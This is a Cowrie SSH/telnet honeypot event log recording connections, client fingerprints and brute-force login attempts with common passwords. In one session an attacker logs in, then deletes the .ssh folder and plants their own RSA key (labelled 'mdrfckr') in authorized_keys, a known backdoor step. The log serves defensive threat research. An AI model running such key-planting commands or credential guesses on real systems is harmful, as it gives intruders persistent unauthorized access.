{"eventid":"cowrie.session.closed","duration":31.58261203765869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:02.256992Z","src_ip":"62.210.97.77","session":"1d7ab4505c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":48072,"dst_ip":"10.17.0.5","dst_port":22,"session":"e08228bb1582","protocol":"ssh","message":"New connection: 172.185.24.228:48072 (10.17.0.5:22) [session: e08228bb1582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:02.689003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:02.693439Z","src_ip":"172.185.24.228","session":"e08228bb1582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:02.768751Z","src_ip":"172.185.24.228","session":"e08228bb1582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51754,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15664e54fae","protocol":"telnet","message":"New connection: 62.210.97.77:51754 (10.17.0.5:23) [session: a15664e54fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:03.086438Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:03.101872Z","src_ip":"172.185.24.228","session":"e08228bb1582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:04.186176Z","src_ip":"172.185.24.228","session":"e08228bb1582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58908,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf554d587df","protocol":"telnet","message":"New connection: 38.54.119.93:58908 (10.17.0.5:23) [session: ddf554d587df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:04.416685Z"}
{"eventid":"cowrie.session.closed","duration":38.57598638534546,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:06.837623Z","src_ip":"165.232.131.181","session":"d58e6107dae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58586,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfaed4ed845f","protocol":"telnet","message":"New connection: 62.210.97.77:58586 (10.17.0.5:23) [session: dfaed4ed845f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:11.788021Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":45714,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc6d468a45fb","protocol":"ssh","message":"New connection: 181.234.2.36:45714 (159.203.135.109:22) [session: dc6d468a45fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:15.078589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:15.084361Z","src_ip":"181.234.2.36","session":"dc6d468a45fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:15.191370Z","src_ip":"181.234.2.36","session":"dc6d468a45fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ1qaz","message":"login attempt [ubuntu/!QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:15.586843Z","src_ip":"181.234.2.36","session":"dc6d468a45fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:16.681225Z","src_ip":"181.234.2.36","session":"dc6d468a45fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41288,"dst_ip":"10.17.0.5","dst_port":23,"session":"fafd89a898d1","protocol":"telnet","message":"New connection: 38.54.119.93:41288 (10.17.0.5:23) [session: fafd89a898d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:20.952466Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56628,"dst_ip":"159.203.135.109","dst_port":23,"session":"0206c992733e","protocol":"telnet","message":"New connection: 192.211.53.160:56628 (159.203.135.109:23) [session: 0206c992733e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:25.756833Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":56638,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ea640d51e1","protocol":"telnet","message":"New connection: 192.211.53.160:56638 (159.203.135.109:23) [session: 61ea640d51e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:25.768416Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41370,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e2cd70ff50","protocol":"telnet","message":"New connection: 165.232.131.181:41370 (10.17.0.5:23) [session: c3e2cd70ff50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:28.660268Z"}
{"eventid":"cowrie.session.closed","duration":8.60804557800293,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:29.560406Z","src_ip":"38.54.119.93","session":"fafd89a898d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19769048690796,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:29.765128Z","src_ip":"62.210.97.77","session":"ac670820318d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.215516805648804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:36.301829Z","src_ip":"62.210.97.77","session":"a15664e54fae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.85680317878723,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:37.679728Z","src_ip":"62.210.97.77","session":"382c4e5f49ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.77448391914368,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:47.562410Z","src_ip":"62.210.97.77","session":"dfaed4ed845f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.18786287307739,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:47.604361Z","src_ip":"38.54.119.93","session":"ddf554d587df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59406,"dst_ip":"10.17.0.5","dst_port":23,"session":"e13ff274e39b","protocol":"telnet","message":"New connection: 62.210.97.77:59406 (10.17.0.5:23) [session: e13ff274e39b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:29:52.278663Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40218,"dst_ip":"10.17.0.5","dst_port":23,"session":"d867d31e2595","protocol":"telnet","message":"New connection: 62.210.97.77:40218 (10.17.0.5:23) [session: d867d31e2595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:01.289157Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40224,"dst_ip":"10.17.0.5","dst_port":23,"session":"86b5f879070d","protocol":"telnet","message":"New connection: 62.210.97.77:40224 (10.17.0.5:23) [session: 86b5f879070d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:05.588960Z"}
{"eventid":"cowrie.session.closed","duration":40.080390214920044,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:05.837116Z","src_ip":"192.211.53.160","session":"0206c992733e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.95687127113342,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:06.725171Z","src_ip":"192.211.53.160","session":"61ea640d51e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":52756,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d242a396182","protocol":"ssh","message":"New connection: 172.185.24.228:52756 (10.17.0.5:22) [session: 8d242a396182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:06.882741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:06.935640Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:07.023008Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Root1234","message":"login attempt [oracle/Root1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:07.367630Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:07.650472Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:07.653951Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:07.657680Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:07.768516Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:07.991167Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:07.994841Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:08.146735Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:08.151166Z","src_ip":"172.185.24.228","session":"8d242a396182","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":52772,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fd6bdac7726","protocol":"ssh","message":"New connection: 172.185.24.228:52772 (10.17.0.5:22) [session: 8fd6bdac7726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:08.224499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:08.412485Z","src_ip":"172.185.24.228","session":"8fd6bdac7726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:08.494946Z","src_ip":"172.185.24.228","session":"8fd6bdac7726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:08.878138Z","src_ip":"172.185.24.228","session":"8fd6bdac7726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.0077645778656,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:09.667909Z","src_ip":"165.232.131.181","session":"c3e2cd70ff50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:09.969654Z","src_ip":"172.185.24.228","session":"8fd6bdac7726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":52786,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceb02ead2994","protocol":"ssh","message":"New connection: 172.185.24.228:52786 (10.17.0.5:22) [session: ceb02ead2994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:10.049624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:10.058372Z","src_ip":"172.185.24.228","session":"ceb02ead2994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:30:10.139881Z","src_ip":"172.185.24.228","session":"ceb02ead2994","protocol":"ssh"}
